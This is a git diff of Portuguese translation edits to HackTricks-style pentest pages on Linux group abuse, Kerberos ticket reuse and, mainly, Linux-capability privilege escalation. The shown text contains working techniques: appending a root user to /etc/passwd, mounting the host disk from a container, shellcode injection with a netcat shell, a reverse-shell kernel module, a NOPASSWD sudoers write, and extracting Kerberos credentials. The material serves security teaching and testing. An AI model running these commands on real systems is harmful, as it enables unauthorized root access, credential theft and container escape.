Truques sobre como escapar de jails python na seguinte página:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
@ -234,7 +236,7 @@ Alguns truques para **chamar funções de uma biblioteca sem usar pontos**:
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
Enumere as funções de uma biblioteca:
Enumerar funções de uma biblioteca:
```bash
for k,v in pairs(string) do print(k,v) end
```

6
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -148,7 +148,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
No entanto, se você tentar **escrever arquivos de propriedade do root** (como `/etc/shadow` ou `/etc/passwd`), você terá um erro de "**Permissão negada**".
## Grupo de Vídeo
## Video Group
Usando o comando `w`, você pode descobrir **quem está logado no sistema** e ele mostrará uma saída como a seguinte:
```bash
@ -167,7 +167,7 @@ Para **abrir** a **imagem bruta**, você pode usar **GIMP**, selecionar o arquiv
![](<../../../images/image (463).png>)
Em seguida, modifique a Largura e Altura para as usadas na tela e verifique diferentes Tipos de Imagem (e selecione o que melhor mostra a tela):
Em seguida, modifique a Largura e Altura para as que são usadas na tela e verifique diferentes Tipos de Imagem (e selecione o que melhor mostra a tela):
![](<../../../images/image (317).png>)
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou se elas não estiverem funcionando por algum motivo (firewall da API do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui:
Finalmente, se você não gostar de nenhuma das sugestões anteriores, ou se elas não estiverem funcionando por algum motivo (firewall da api do docker?), você sempre pode tentar **executar um contêiner privilegiado e escapar dele** como explicado aqui:
{{#ref}}
../docker-security/

10
src/linux-hardening/privilege-escalation/linux-active-directory.md
View File

@ -20,7 +20,7 @@ Você também pode verificar a seguinte página para aprender **outras maneiras
### FreeIPA
FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o Dogtag **Certificate System** para gerenciamento de certificados CA e RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
FreeIPA é uma **alternativa** de código aberto ao **Active Directory** da Microsoft, principalmente para ambientes **Unix**. Ele combina um **diretório LDAP** completo com um Centro de Distribuição de Chaves **Kerberos** da MIT para gerenciamento semelhante ao Active Directory. Utilizando o Dogtag **Certificate System** para gerenciamento de certificados CA & RA, suporta autenticação **multifatorial**, incluindo smartcards. O SSSD está integrado para processos de autenticação Unix. Saiba mais sobre isso em:
{{#ref}}
../freeipa-pentesting.md
@ -38,7 +38,7 @@ Nesta página, você encontrará diferentes lugares onde pode **encontrar ticket
### Reutilização de ticket CCACHE de /tmp
Os arquivos CCACHE são formatos binários para **armazenar credenciais Kerberos** e geralmente são armazenados com permissões 600 em `/tmp`. Esses arquivos podem ser identificados pelo seu **formato de nome, `krb5cc_%{uid}`,** correlacionando ao UID do usuário. Para verificação do ticket de autenticação, a **variável de ambiente `KRB5CCNAME`** deve ser definida para o caminho do arquivo de ticket desejado, permitindo sua reutilização.
Os arquivos CCACHE são formatos binários para **armazenar credenciais Kerberos** e geralmente são armazenados com permissões 600 em `/tmp`. Esses arquivos podem ser identificados pelo seu **formato de nome, `krb5cc_%{uid}`,** correlacionando-se ao UID do usuário. Para verificação do ticket de autenticação, a **variável de ambiente `KRB5CCNAME`** deve ser definida para o caminho do arquivo de ticket desejado, permitindo sua reutilização.
Liste o ticket atual usado para autenticação com `env | grep KRB5CCNAME`. O formato é portátil e o ticket pode ser **reutilizado definindo a variável de ambiente** com `export KRB5CCNAME=/tmp/ticket.ccache`. O formato do nome do ticket Kerberos é `krb5cc_%{uid}` onde uid é o UID do usuário.
```bash
@ -62,7 +62,7 @@ make CONF=Release
```
Este procedimento tentará injetar em várias sessões, indicando sucesso ao armazenar os tickets extraídos em `/tmp` com uma convenção de nomenclatura de `__krb_UID.ccache`.
### Reutilização de tickets CCACHE do SSSD KCM
### Reutilização de ticket CCACHE do SSSD KCM
O SSSD mantém uma cópia do banco de dados no caminho `/var/lib/sss/secrets/secrets.ldb`. A chave correspondente é armazenada como um arquivo oculto no caminho `/var/lib/sss/secrets/.secrets.mkey`. Por padrão, a chave só é legível se você tiver permissões de **root**.
@ -71,7 +71,7 @@ Invocar **`SSSDKCMExtractor`** com os parâmetros --database e --key irá analis
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo Kerberos CCache utilizável** que pode ser passado para Mimikatz/Rubeus.
O **blob de cache de credenciais Kerberos pode ser convertido em um arquivo CCache Kerberos utilizável** que pode ser passado para Mimikatz/Rubeus.
### Reutilização de ticket CCACHE a partir do keytab
```bash
@ -83,7 +83,7 @@ klist -k /etc/krb5.keytab
As chaves de contas de serviço, essenciais para serviços que operam com privilégios de root, são armazenadas de forma segura nos arquivos **`/etc/krb5.keytab`**. Essas chaves, semelhantes a senhas para serviços, exigem estrita confidencialidade.
Para inspecionar o conteúdo do arquivo keytab, **`klist`** pode ser empregado. A ferramenta é projetada para exibir detalhes da chave, incluindo o **NT Hash** para autenticação de usuários, particularmente quando o tipo de chave é identificado como 23.
Para inspecionar o conteúdo do arquivo keytab, pode-se empregar **`klist`**. A ferramenta é projetada para exibir detalhes da chave, incluindo o **NT Hash** para autenticação de usuários, particularmente quando o tipo de chave é identificado como 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

81
src/linux-hardening/privilege-escalation/linux-capabilities.md
View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Linux Capabilities
As capacidades do Linux dividem **os privilégios de root em unidades menores e distintas**, permitindo que processos tenham um subconjunto de privilégios. Isso minimiza os riscos ao não conceder privilégios de root completos desnecessariamente.
@ -14,7 +15,7 @@ As capacidades do Linux dividem **os privilégios de root em unidades menores e
1. **Inherited (CapInh)**:
- **Propósito**: Determina as capacidades passadas do processo pai.
- **Propósito**: Determina as capacidades transmitidas do processo pai.
- **Funcionalidade**: Quando um novo processo é criado, ele herda as capacidades de seu pai neste conjunto. Útil para manter certos privilégios durante a criação de processos.
- **Restrições**: Um processo não pode ganhar capacidades que seu pai não possuía.
@ -22,12 +23,12 @@ As capacidades do Linux dividem **os privilégios de root em unidades menores e
- **Propósito**: Representa as capacidades reais que um processo está utilizando em qualquer momento.
- **Funcionalidade**: É o conjunto de capacidades verificadas pelo kernel para conceder permissão para várias operações. Para arquivos, este conjunto pode ser uma flag indicando se as capacidades permitidas do arquivo devem ser consideradas efetivas.
- **Significado**: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.
- **Significância**: O conjunto efetivo é crucial para verificações imediatas de privilégios, atuando como o conjunto ativo de capacidades que um processo pode usar.
3. **Permitted (CapPrm)**:
- **Propósito**: Define o conjunto máximo de capacidades que um processo pode possuir.
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a habilidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
- **Funcionalidade**: Um processo pode elevar uma capacidade do conjunto permitido para seu conjunto efetivo, dando-lhe a capacidade de usar essa capacidade. Ele também pode descartar capacidades de seu conjunto permitido.
- **Limite**: Atua como um limite superior para as capacidades que um processo pode ter, garantindo que um processo não exceda seu escopo de privilégio predefinido.
4. **Bounding (CapBnd)**:
@ -54,7 +55,7 @@ Para mais informações, consulte:
- [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work)
- [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/)
## Capacidades de Processos e Binários
## Capacidades de Processos & Binários
### Capacidades de Processos
@ -276,7 +277,7 @@ capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
> [!CAUTION]
> Você pode **apenas adicionar capacidades que estão presentes** tanto nos conjuntos permitidos quanto nos conjuntos herdáveis.
> Você **só pode adicionar capacidades que estão presentes** tanto no conjunto permitido quanto no conjunto herdável.
### Binários cientes de capacidade / Binários sem capacidade
@ -310,9 +311,9 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
```
## Privesc/Container Escape
As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são então executados como root.
As capacidades são úteis quando você **quer restringir seus próprios processos após realizar operações privilegiadas** (por exemplo, após configurar chroot e vincular a um socket). No entanto, elas podem ser exploradas ao passar comandos ou argumentos maliciosos que são executados como root.
Você pode forçar capacidades em programas usando `setcap`, e consultar essas usando `getcap`:
Você pode forçar capacidades em programas usando `setcap` e consultar essas usando `getcap`:
```bash
#Set Capability
setcap cap_net_raw+ep /sbin/ping
@ -329,7 +330,7 @@ getcap -r / 2>/dev/null
```
### Exemplo de exploração
No seguinte exemplo, o binário `/usr/bin/python2.6` é encontrado vulnerável a privesc:
No exemplo a seguir, o binário `/usr/bin/python2.6` é encontrado vulnerável a privesc:
```bash
setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep
@ -345,7 +346,7 @@ getcap /usr/sbin/tcpdump
```
### O caso especial de capacidades "vazias"
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazias a um arquivo de programa, e assim é possível criar um programa com set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
[Dos docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note que é possível atribuir conjuntos de capacidades vazios a um arquivo de programa, e assim é possível criar um programa set-user-ID-root que altera o set-user-ID efetivo e salvo do processo que executa o programa para 0, mas não confere capacidades a esse processo. Ou, simplificando, se você tem um binário que:
1. não é possuído por root
2. não tem bits `SUID`/`SGID` definidos
@ -355,7 +356,7 @@ então **esse binário será executado como root**.
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, frequentemente equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso exige avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** é uma capacidade Linux altamente potente, muitas vezes equiparada a um nível quase root devido aos seus extensos **privilegios administrativos**, como montar dispositivos ou manipular recursos do kernel. Embora seja indispensável para contêineres que simulam sistemas inteiros, **`CAP_SYS_ADMIN` apresenta desafios significativos de segurança**, especialmente em ambientes conteinerizados, devido ao seu potencial para escalonamento de privilégios e comprometimento do sistema. Portanto, seu uso requer avaliações de segurança rigorosas e gerenciamento cauteloso, com uma forte preferência por descartar essa capacidade em contêineres específicos de aplicativos para aderir ao **princípio do menor privilégio** e minimizar a superfície de ataque.
**Exemplo com binário**
```bash
@ -400,7 +401,7 @@ groups=0(root)
```
Dentro da saída anterior, você pode ver que a capacidade SYS_ADMIN está habilitada.
- **Mount**
- **Montar**
Isso permite que o contêiner docker **monte o disco do host e acesse-o livremente**:
```bash
@ -417,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
- **Acesso total**
No método anterior, conseguimos acessar o disco do host do docker.\
Caso você descubra que o host está executando um **ssh** servidor, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH:
Caso você descubra que o host está executando um servidor **ssh**, você poderia **criar um usuário dentro do disco do host do docker** e acessá-lo via SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@ -433,9 +434,9 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução dentro do host.** Para acessar processos em execução dentro do host, o contêiner precisa ser executado pelo menos com **`--pid=host`**.
**Isso significa que você pode escapar do contêiner injetando um shellcode dentro de algum processo em execução no host.** Para acessar processos em execução no host, o contêiner precisa ser executado pelo menos com **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede a capacidade de usar funcionalidades de depuração e rastreamento de chamadas de sistema fornecidas por `ptrace(2)` e chamadas de anexação de memória cruzada como `process_vm_readv(2)` e `process_vm_writev(2)`. Embora seja poderoso para fins de diagnóstico e monitoramento, se `CAP_SYS_PTRACE` estiver habilitado sem medidas restritivas, como um filtro seccomp em `ptrace(2)`, isso pode comprometer significativamente a segurança do sistema. Especificamente, pode ser explorado para contornar outras restrições de segurança, notavelmente aquelas impostas pelo seccomp, como demonstrado por [provas de conceito (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
**Exemplo com binário (python)**
```bash
@ -617,11 +618,11 @@ Liste **processos** em execução no **host** `ps -eaf`
2. Encontre um **shellcode** para a arquitetura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
3. Encontre um **programa** para **injetar** o **shellcode** na memória de um processo ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
4. **Modifique** o **shellcode** dentro do programa e **compile**-o `gcc inject.c -o inject`
5. **Injete** e obtenha seu **shell**: `./inject 299; nc 172.17.0.1 5600`
5. **Injete** e capture seu **shell**: `./inject 299; nc 172.17.0.1 5600`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações principais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema, permitindo modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** capacita um processo a **carregar e descarregar módulos do kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chamadas de sistema)**, oferecendo acesso direto às operações centrais do kernel. Essa capacidade apresenta riscos críticos de segurança, pois permite a escalada de privilégios e a total comprometimento do sistema ao permitir modificações no kernel, contornando assim todos os mecanismos de segurança do Linux, incluindo Módulos de Segurança do Linux e isolamento de contêineres.
**Isso significa que você pode** **inserir/remover módulos do kernel no/do kernel da máquina host.**
**Exemplo com binário**
@ -631,7 +632,7 @@ No exemplo a seguir, o binário **`python`** possui essa capacidade.
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
```
Por padrão, o comando **`modprobe`** verifica a lista de dependências e arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\
Por padrão, o comando **`modprobe`** verifica a lista de dependências e os arquivos de mapeamento no diretório **`/lib/modules/$(uname -r)`**.\
Para abusar disso, vamos criar uma pasta falsa **lib/modules**:
```bash
mkdir lib/modules -p
@ -650,7 +651,7 @@ km.modprobe("reverse-shell")
```
**Exemplo 2 com binário**
No seguinte exemplo, o binário **`kmod`** possui esta capacidade.
No exemplo a seguir, o binário **`kmod`** possui esta capacidade.
```bash
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
@ -711,9 +712,9 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
> [!WARNING]
> O caractere em branco antes de cada palavra make no Makefile **deve ser uma tabulação, não espaços**!
Execute `make` para compilar.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
Execute `make` para compilá-lo.
```bash
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@ -732,7 +733,7 @@ Outro exemplo desta técnica pode ser encontrado em [https://www.cyberark.com/re
## CAP_DAC_READ_SEARCH
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulações. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que um processo **ignore permissões para leitura de arquivos e para leitura e execução de diretórios**. Seu uso principal é para fins de busca ou leitura de arquivos. No entanto, também permite que um processo use a função `open_by_handle_at(2)`, que pode acessar qualquer arquivo, incluindo aqueles fora do namespace de montagem do processo. O identificador usado em `open_by_handle_at(2)` deve ser um identificador não transparente obtido através de `name_to_handle_at(2)`, mas pode incluir informações sensíveis, como números de inode, que são vulneráveis a manipulação. O potencial de exploração dessa capacidade, particularmente no contexto de contêineres Docker, foi demonstrado por Sebastian Krahmer com o exploit shocker, conforme analisado [aqui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Isso significa que você pode** **ignorar verificações de permissão de leitura de arquivos e verificações de permissão de leitura/executar de diretórios.**
**Exemplo com binário**
@ -956,7 +957,7 @@ file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
```
**Exemplo com ambiente + CAP_DAC_READ_SEARCH (quebra de Docker)**
**Exemplo com ambiente + CAP_DAC_READ_SEARCH (quebra do Docker)**
Você pode verificar as capacidades habilitadas dentro do contêiner docker usando:
```bash
@ -1164,11 +1165,11 @@ os.system("/bin/bash")
**Isso significa que é possível definir o id de grupo efetivo do processo criado.**
Existem muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Há muitos arquivos que você pode **sobrescrever para escalar privilégios,** [**você pode obter ideias daqui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
**Exemplo com binário**
Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, porque você pode se passar por qualquer grupo:
Neste caso, você deve procurar arquivos interessantes que um grupo pode ler, pois você pode se passar por qualquer grupo:
```bash
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
@ -1187,7 +1188,7 @@ Neste caso, o grupo shadow foi impersonado, então você pode ler o arquivo `/et
```bash
cat /etc/shadow
```
Se o **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](#writable-docker-socket).
Se **docker** estiver instalado, você pode **impersonar** o **grupo docker** e abusar dele para se comunicar com o [**docker socket** e escalar privilégios](#writable-docker-socket).
## CAP_SETFCAP
@ -1254,7 +1255,7 @@ bash: /usr/bin/gdb: Operation not permitted
```
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Este é um **superconjunto limitante para as capacidades efetivas** que a thread pode assumir. Também é um superconjunto limitante para as capacidades que podem ser adicionadas ao conjunto herdável por uma thread que **não possui a capacidade CAP_SETPCAP** em seu conjunto efetivo._\
Parece que as capacidades Permitidas limitam aquelas que podem ser usadas.\
No entanto, o Docker também concede a **CAP_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\
No entanto, o Docker também concede o **CAP_SETPCAP** por padrão, então você pode ser capaz de **definir novas capacidades dentro das herdáveis**.\
No entanto, na documentação desta capacidade: _CAP_SETPCAP : \[…] **adiciona qualquer capacidade do conjunto de limites da thread chamadora** ao seu conjunto herdável_.\
Parece que só podemos adicionar ao conjunto herdável capacidades do conjunto de limites. O que significa que **não podemos colocar novas capacidades como CAP_SYS_ADMIN ou CAP_SYS_PTRACE no conjunto herdável para escalar privilégios**.
@ -1312,7 +1313,7 @@ print(output)
```
{{#endtab}}
{{#tab name="Connect"}}
{{#tab name="Conectar"}}
```python
import socket
s=socket.socket()
@ -1324,7 +1325,7 @@ s.connect(('10.10.10.10',500))
## CAP_NET_RAW
A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, possibilitando a geração e envio de pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações ICMP RAW.
A capacidade [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite que processos **criem sockets RAW e PACKET**, permitindo que gerem e enviem pacotes de rede arbitrários. Isso pode levar a riscos de segurança em ambientes containerizados, como spoofing de pacotes, injeção de tráfego e contorno de controles de acesso à rede. Atores maliciosos poderiam explorar isso para interferir no roteamento de containers ou comprometer a segurança da rede do host, especialmente sem proteções adequadas de firewall. Além disso, **CAP_NET_RAW** é crucial para containers privilegiados suportarem operações como ping via solicitações RAW ICMP.
**Isso significa que é possível monitorar o tráfego.** Você não pode escalar privilégios diretamente com essa capacidade.
@ -1335,7 +1336,7 @@ Se o binário **`tcpdump`** tiver essa capacidade, você poderá usá-lo para ca
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
```
Observe que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
Note que se o **ambiente** estiver concedendo essa capacidade, você também pode usar **`tcpdump`** para capturar tráfego.
**Exemplo com binário 2**
@ -1385,7 +1386,7 @@ count=count+1
```
## CAP_NET_ADMIN + CAP_NET_RAW
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a capacidade concede ao portador o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) a capacidade concede ao detentor o poder de **alterar configurações de rede**, incluindo configurações de firewall, tabelas de roteamento, permissões de soquete e configurações de interface de rede dentro dos namespaces de rede expostos. Também permite ativar o **modo promíscuo** nas interfaces de rede, permitindo a captura de pacotes entre namespaces.
**Exemplo com binário**
@ -1430,8 +1431,8 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
> [!NOTE]
> Note que geralmente este atributo imutável é definido e removido usando:
> [!TIP]
> Note que geralmente esse atributo imutável é definido e removido usando:
>
> ```bash
> sudo chattr +i file.txt
@ -1447,28 +1448,28 @@ f.write('New content for the file\n')
## CAP_SYS_BOOT
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também habilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou assinados kernels de falha, respectivamente.
[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) não apenas permite a execução da chamada de sistema `reboot(2)` para reinicializações do sistema, incluindo comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para certas plataformas de hardware, mas também possibilita o uso de `kexec_load(2)` e, a partir do Linux 3.17, `kexec_file_load(2)` para carregar novos ou assinados kernels de falha, respectivamente.
## CAP_SYSLOG
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Esta capacidade permite a visualização de endereços de kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança.
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) foi separado do mais amplo **CAP_SYS_ADMIN** no Linux 2.6.37, concedendo especificamente a capacidade de usar a chamada `syslog(2)`. Essa capacidade permite a visualização de endereços de kernel via `/proc` e interfaces semelhantes quando a configuração `kptr_restrict` está em 1, que controla a exposição de endereços de kernel. Desde o Linux 2.6.39, o padrão para `kptr_restrict` é 0, significando que os endereços de kernel estão expostos, embora muitas distribuições definam isso como 1 (ocultar endereços, exceto do uid 0) ou 2 (sempre ocultar endereços) por razões de segurança.
Além disso, **CAP_SYSLOG** permite acessar a saída de `dmesg` quando `dmesg_restrict` está definido como 1. Apesar dessas mudanças, **CAP_SYS_ADMIN** mantém a capacidade de realizar operações `syslog` devido a precedentes históricos.
## CAP_MKNOD
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além de criar arquivos regulares, FIFOs (tubos nomeados) ou sockets de domínio UNIX. Ele permite especificamente a criação de arquivos especiais, que incluem:
[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) estende a funcionalidade da chamada de sistema `mknod` além de criar arquivos regulares, FIFOs (pipes nomeados) ou sockets de domínio UNIX. Ele permite especificamente a criação de arquivos especiais, que incluem:
- **S_IFCHR**: Arquivos especiais de caractere, que são dispositivos como terminais.
- **S_IFBLK**: Arquivos especiais de bloco, que são dispositivos como discos.
Esta capacidade é essencial para processos que requerem a habilidade de criar arquivos de dispositivo, facilitando a interação direta com hardware através de dispositivos de caractere ou bloco.
Essa capacidade é essencial para processos que requerem a habilidade de criar arquivos de dispositivo, facilitando a interação direta com hardware através de dispositivos de caractere ou bloco.
É uma capacidade padrão do docker ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
Esta capacidade permite realizar elevações de privilégio (através de leitura completa do disco) no host, sob estas condições:
Essa capacidade permite realizar elevações de privilégio (através de leitura completa do disco) no host, sob estas condições:
1. Ter acesso inicial ao host (sem privilégios).
1. Ter acesso inicial ao host (não privilegiado).
2. Ter acesso inicial ao contêiner (privilegiado (EUID 0) e efetivo `CAP_MKNOD`).
3. O host e o contêiner devem compartilhar o mesmo namespace de usuário.
@ -1505,7 +1506,7 @@ Esta abordagem permite que o usuário padrão acesse e potencialmente leia dados
**CAP_SETPCAP** permite que um processo **altere os conjuntos de capacidades** de outro processo, permitindo a adição ou remoção de capacidades dos conjuntos efetivos, herdáveis e permitidos. No entanto, um processo só pode modificar capacidades que possui em seu próprio conjunto permitido, garantindo que não possa elevar os privilégios de outro processo além dos seus próprios. Atualizações recentes do kernel apertaram essas regras, restringindo `CAP_SETPCAP` a apenas diminuir as capacidades dentro de seu próprio conjunto permitido ou dos conjuntos permitidos de seus descendentes, visando mitigar riscos de segurança. O uso requer ter `CAP_SETPCAP` no conjunto efetivo e as capacidades alvo no conjunto permitido, utilizando `capset()` para modificações. Isso resume a função central e as limitações de `CAP_SETPCAP`, destacando seu papel na gestão de privilégios e no aprimoramento da segurança.
**`CAP_SETPCAP`** é uma capacidade do Linux que permite que um processo **modifique os conjuntos de capacidades de outro processo**. Ela concede a capacidade de adicionar ou remover capacidades dos conjuntos de capacidades efetivas, herdáveis e permitidas de outros processos. No entanto, existem certas restrições sobre como essa capacidade pode ser usada.
